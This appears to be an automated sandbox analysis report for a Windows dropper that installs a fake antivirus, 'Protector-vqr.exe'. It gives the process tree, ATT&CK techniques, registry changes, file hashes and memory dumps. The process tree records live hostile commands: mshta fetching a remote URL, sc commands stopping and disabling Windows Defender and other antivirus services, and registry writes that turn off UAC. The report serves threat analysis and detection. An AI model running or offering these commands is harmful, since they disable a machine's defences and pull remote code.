PID 3040 wrote to memory of 2640	3040	filesystemscan.exe	33
PID 3040 wrote to memory of 2640	3040	filesystemscan.exe	33
PID 3040 wrote to memory of 2640	3040	filesystemscan.exe	33
PID 3040 wrote to memory of 2640	3040	filesystemscan.exe	33
PID 3040 wrote to memory of 2640	3040	filesystemscan.exe	33
PID 3040 wrote to memory of 2640	3040	filesystemscan.exe	33
PID 2604 wrote to memory of 2696	2604	Protector-vqr.exe	36
PID 2604 wrote to memory of 2696	2604	Protector-vqr.exe	36
PID 2604 wrote to memory of 2696	2604	Protector-vqr.exe	36
PID 2604 wrote to memory of 2696	2604	Protector-vqr.exe	36
PID 2604 wrote to memory of 2696	2604	Protector-vqr.exe	36
PID 2604 wrote to memory of 2696	2604	Protector-vqr.exe	36
PID 2604 wrote to memory of 2696	2604	Protector-vqr.exe	36
PID 2604 wrote to memory of 1660	2604	Protector-vqr.exe	39
PID 2604 wrote to memory of 1660	2604	Protector-vqr.exe	39
PID 2604 wrote to memory of 1660	2604	Protector-vqr.exe	39
PID 2604 wrote to memory of 1660	2604	Protector-vqr.exe	39
PID 2604 wrote to memory of 1660	2604	Protector-vqr.exe	39
PID 2604 wrote to memory of 1660	2604	Protector-vqr.exe	39
PID 2604 wrote to memory of 1660	2604	Protector-vqr.exe	39
PID 2604 wrote to memory of 2020	2604	Protector-vqr.exe	40
PID 2604 wrote to memory of 2020	2604	Protector-vqr.exe	40
PID 2604 wrote to memory of 2020	2604	Protector-vqr.exe	40
PID 2604 wrote to memory of 2020	2604	Protector-vqr.exe	40
PID 2604 wrote to memory of 2020	2604	Protector-vqr.exe	40
PID 2604 wrote to memory of 2020	2604	Protector-vqr.exe	40
PID 2604 wrote to memory of 2020	2604	Protector-vqr.exe	40
PID 2604 wrote to memory of 1668	2604	Protector-vqr.exe	42
PID 2604 wrote to memory of 1668	2604	Protector-vqr.exe	42
PID 2604 wrote to memory of 1668	2604	Protector-vqr.exe	42
PID 2604 wrote to memory of 1668	2604	Protector-vqr.exe	42
PID 2604 wrote to memory of 1668	2604	Protector-vqr.exe	42
PID 2604 wrote to memory of 1668	2604	Protector-vqr.exe	42
PID 2604 wrote to memory of 1668	2604	Protector-vqr.exe	42
PID 2604 wrote to memory of 284	2604	Protector-vqr.exe	43
PID 2604 wrote to memory of 284	2604	Protector-vqr.exe	43
PID 2604 wrote to memory of 284	2604	Protector-vqr.exe	43
PID 2604 wrote to memory of 284	2604	Protector-vqr.exe	43
PID 2604 wrote to memory of 284	2604	Protector-vqr.exe	43
PID 2604 wrote to memory of 284	2604	Protector-vqr.exe	43
PID 2604 wrote to memory of 284	2604	Protector-vqr.exe	43
PID 2604 wrote to memory of 1932	2604	Protector-vqr.exe	45

System policy modification 1 TTPs 4 IoCs

evasion

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	Protector-vqr.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	Protector-vqr.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorUser = "0"	Protector-vqr.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	Protector-vqr.exe

C:\Users\Admin\AppData\Local\Temp\37da1190c300cdb5315dffac45b541dd_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\37da1190c300cdb5315dffac45b541dd_JaffaCakes118.exe"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2204
- C:\Users\Admin\AppData\Local\Temp\RarSFX0\al6it1516l5754g.exe
  "C:\Users\Admin\AppData\Local\Temp\RarSFX0\al6it1516l5754g.exe" -e -p3bl9cj1777w86yj
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:1896
- - C:\Users\Admin\AppData\Local\Temp\RarSFX1\filesystemscan.exe
    "C:\Users\Admin\AppData\Local\Temp\RarSFX1\filesystemscan.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:3040
  - - C:\Users\Admin\AppData\Roaming\Protector-vqr.exe
      C:\Users\Admin\AppData\Roaming\Protector-vqr.exe
      4⤵
      UAC bypass
      Event Triggered Execution: Image File Execution Options Injection
      Executes dropped EXE
      Loads dropped DLL
      Adds Run key to start application
      Checks whether UAC is enabled
      Drops file in System32 directory
      Modifies Internet Explorer settings
      Modifies system certificate store
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of FindShellTrayWindow
      Suspicious use of SendNotifyMessage
      Suspicious use of SetWindowsHookEx
      Suspicious use of WriteProcessMemory
      System policy modification
      PID:2604
    - - C:\Windows\SysWOW64\mshta.exe
        
        mshta.exe "http://galaint.online-secure-pay.info/?0=154&1=1&2=1&3=25&4=i&5=7601&6=6&7=1&8=99600&9=1033&10=0&11=0000&12=ghnhrhwrll&14=1"
        5⤵
        Modifies Internet Explorer settings
        
        PID:2696
    - - C:\Windows\SysWOW64\sc.exe
        
        sc stop WinDefend
        5⤵
        Launches sc.exe
        
        PID:1660
    - - C:\Windows\SysWOW64\sc.exe
        
        sc config WinDefend start= disabled
        5⤵
        Launches sc.exe
        
        PID:2020
    - - C:\Windows\SysWOW64\sc.exe
        
        sc stop msmpsvc
        5⤵
        Launches sc.exe
        
        PID:1668
    - - C:\Windows\SysWOW64\sc.exe
        
        sc config msmpsvc start= disabled
        5⤵
        Launches sc.exe
        
        PID:284
    - - C:\Windows\SysWOW64\sc.exe
        
        sc config ekrn start= disabled
        5⤵
        Launches sc.exe
        
        PID:1932
    - - C:\Windows\SysWOW64\sc.exe
        
        sc stop AntiVirService
        5⤵
        Launches sc.exe
        
        PID:620
    - - C:\Windows\SysWOW64\sc.exe
        
        sc config AntiVirService start= disabled
        5⤵
        Launches sc.exe
        
        PID:1912
    - - C:\Windows\SysWOW64\sc.exe
        
        sc config AntiVirSchedulerService start= disabled
        5⤵
        Launches sc.exe
        
        PID:1248
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c del "C:\Users\Admin\AppData\Local\Temp\RarSFX1\FILESY~1.EXE" >> NUL
      4⤵
      PID:2640

C:\Program Files\Internet Explorer\iexplore.exe
"C:\Program Files\Internet Explorer\iexplore.exe" -startmediumtab -Embedding
1⤵
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
PID:264
- C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
  "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:264 CREDAT:275457 /prefetch:2
  2⤵
  - Modifies Internet Explorer settings
  - Suspicious use of SetWindowsHookEx
  PID:1032

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

System Services

T1569

Service Execution

T1569.002

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Subvert Trust Controls

T1553

Install Root Certificate

T1553.004

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
acd29a9a0f0561150fd00459902cc026

SHA1
5c466ed1ab8d1d2d751c4f3c05c9a2b83f83fede

SHA256
014e74b02cca829c468d981ec8b5eafd17ed8b15c8d99acc9845bceadfd54653

SHA512
fa2a65e6655c130951ac0d41fcaa1d2bde8138e4e82d4c1b130b217a26df712c0e33268c8d150a6f8340a6c7214d0f0fc873f4e88cb664e072749c2f22428f23

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
34705d672ae38d2a3e56524e72bdd965

SHA1
8a508dfc9714c4eb49ca12546ece17d487c4784f

SHA256
68edfe43518c656941ad739bee78d2d70f19fd20149c27ec0da2dec66e227f18

SHA512
beb0de2301fb740d13dbaa5921fb60aef4f45bf55580434d4a5a45e39ebfa841f6b6c86323ed5f973b182e561e61f960dd3faf2cb4dfe6873e81a828991d9a85

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
51116634fde5a9553b97d60bfe9925be

SHA1
c8a7c6e2cd040c6c9cb20d3b062f79b7607dfd67

SHA256
2c865e75cfb3cb45ec96c896012dcb263134acf855d2c5a4e378ecc7e48518c8

SHA512
4d66ca348f499ab81f0e150710372c9ee306ccf2708d042f65f20fff9e2f0dff124b47abb8b4a22613b62e7a1746cac409f7195b876945b7d300fa8599d43083

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
9e5134a4c85d41fa6874a28247c0b89e

SHA1
c2f97cbc0755ce96c3db064dde338440ee22213c

SHA256
9c877ce24542e34f881ddc645682851f41b7398465f5c48fbd7f9fe181e9a564

SHA512
e62d1bc5caabcce67f02d8ff216c180cb00a43672bf92bb8dfc55d2a071de57c3631483553839891478a0e4b55143af481580b5ac2fe0524c2ff0846e7f5fc85

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
a245dff41bc6e347799d6c89c5343520

SHA1
cd9c9e582a63735173e7c2c6c21522d3b6a82b6d

SHA256
77fd80fc5910fa04493bf39f6076531ce5c02fb45d2289b050682af7a670e2ea

SHA512
35a12f3a303840ef27c387c06cdaa828dfc42e074ca88e111bac96d33c2c085fa963a04753e813ab03f91826b11a61f425e0586fd363613c42b0fb9b11d45a37

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
1e281b694685f864d22afc02d4bb6b2b

SHA1
f9f594f79e66a1942a876a72de4a1da87ffd3d1b

SHA256
7bea7ba72c2b23a5710c21716939d7e3e2b83bdad7e0c5efc8fef6d94974c133

SHA512
d906ce7d27ae74b7a1ebaaeb9e4afb03846d2c9bf5aa78cd28abd2564d83e729eba7c4dd8bcc23e4ab7b5ca50f4c06c564f6128e6c8e4084709e540bce94eb91

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
85989aa54da0edbdaa51fac8353bf025

SHA1
9898537068843686bf0b525b92e2f9cbc7270c80

SHA256
423515bab36d965f0aaaa41d6034c0742a6c472284946a1e8e2354a28a66b7fe

SHA512
bd343b8a9ead31de4be233e84bafbc874e1a9ada1f864e9b5d87df88690a05f6e351fbe401a52c91c04dd606df25bd0d17f370f6d2d5b45f8e1aefd1bef7d32f

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
38d6be6039edd4200a202ca596047152

SHA1
bb6f38143c274c3b354a03905bb43b2e659cea84

SHA256
e7702472f391ae3d35e74de873576127c65e282941f1e27776328361196eda94

SHA512
7d3935faf884066c96b11d160ffbebc19e29d41f5d9e2f01621bdf34a5b612f48cd82c644937b9cf8124839f38b200b5e1b16f4161b82b02308bc251ba487911

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
60532a6b7168ec1468adaa0b6d577b6b

SHA1
b629ad9ebb68a35a190d9863f646ff56b22a8c23

SHA256
29b851fee70ee106ef4232c19d0d128bb71e416caf34180d57e5e65d6caa9ebf

SHA512
4f5b95c807f76be0d678bc0d2366ded49b0043de1f7d146f26b01eff45199a53c78ed65d719b5e7d51811a55bbfa5a3cc070154adb4fc6543a1cbeaafe10f8b3

Download Submit
C:\Users\Admin\AppData\Local\Temp\Cab1CC7.tmp

Filesize
70KB

MD5
49aebf8cbd62d92ac215b2923fb1b9f5

SHA1
1723be06719828dda65ad804298d0431f6aff976

SHA256
b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

SHA512
bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

Download Submit
C:\Users\Admin\AppData\Local\Temp\RarSFX1\filesystemscan.exe

Filesize
1.9MB

MD5
f210c7f3b53f53065a358a300abb7049

SHA1
d13adb9cd5a02eb08d8e4c9cce81f6261f1b0294

SHA256
a259dc8532b93dca95229d8895ede998f1c3f639b726aa322aa17392f51319f1

SHA512
b0b9e0f81b94810f6957c900020504c1089286f0641fcc9d4f3bf385dbe86f7934dfa30e9deb36969dccc002a8ad8ed4b2523713888ccd930dd1e4bc10c8f5a6

Download Submit
C:\Users\Admin\AppData\Local\Temp\Tar1CC6.tmp

Filesize
181KB

MD5
4ea6026cf93ec6338144661bf1202cd1

SHA1
a1dec9044f750ad887935a01430bf49322fbdcb7

SHA256
8efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8

SHA512
6c7e0980e39aacf4c3689802353f464a08cd17753bd210ee997e5f2a455deb4f287a9ef74d84579dbde49bc96213cd2b8b247723919c412ea980aa6e6bfe218b

Download Submit
\Users\Admin\AppData\Local\Temp\RarSFX0\al6it1516l5754g.exe

Filesize
2.0MB

MD5
260acc7f06f599cdb8773f0ed393be73

SHA1
23ccb944535ee07739df656075d6e6790beb6544

SHA256
883dd3b1193b371b2ea2751518f0f92943f6ea5bdeb7827d9a8370489e6affda

SHA512
5122a4601e9078d2240fe5059d3ed3c2b3ee389c977a894142252cda6b6a5c2c9dc0a0ce23ebf6495471090c6448b42cfb4a1406edde84dea7358bb541d90e40

Download Submit
memory/1896-19-0x0000000003D00000-0x00000000040FB000-memory.dmp

Filesize
4.0MB

Download
memory/1896-18-0x0000000003D00000-0x00000000040FB000-memory.dmp

Filesize
4.0MB

Download
memory/2604-39-0x0000000005590000-0x00000000055A0000-memory.dmp

Filesize
64KB

Download
memory/2604-40-0x0000000005590000-0x00000000055A0000-memory.dmp

Filesize
64KB

Download
memory/2604-100-0x0000000000400000-0x00000000007FB000-memory.dmp

Filesize
4.0MB

Download
memory/2604-506-0x0000000000400000-0x00000000007FB000-memory.dmp

Filesize
4.0MB

Download
memory/2604-62-0x00000000088D0000-0x00000000088D2000-memory.dmp

Filesize
8KB

Download
memory/2604-501-0x0000000000400000-0x00000000007FB000-memory.dmp

Filesize
4.0MB

Download
memory/2604-498-0x0000000005590000-0x00000000055A0000-memory.dmp

Filesize
64KB

Download
memory/2604-31-0x0000000000400000-0x00000000007FB000-memory.dmp

Filesize
4.0MB

Download
memory/2604-67-0x0000000000400000-0x00000000007FB000-memory.dmp

Filesize
4.0MB

Download
memory/2604-497-0x0000000005590000-0x00000000055A0000-memory.dmp

Filesize
64KB

Download
memory/2604-55-0x0000000000400000-0x00000000007FB000-memory.dmp

Filesize
4.0MB

Download
memory/3040-29-0x0000000005900000-0x0000000005CFB000-memory.dmp

Filesize
4.0MB

Download
memory/3040-20-0x0000000000400000-0x00000000007FB000-memory.dmp

Filesize
4.0MB

Download
memory/3040-33-0x0000000005900000-0x0000000005CFB000-memory.dmp

Filesize
4.0MB

Download
memory/3040-32-0x0000000000400000-0x00000000007FB000-memory.dmp

Filesize
4.0MB

Download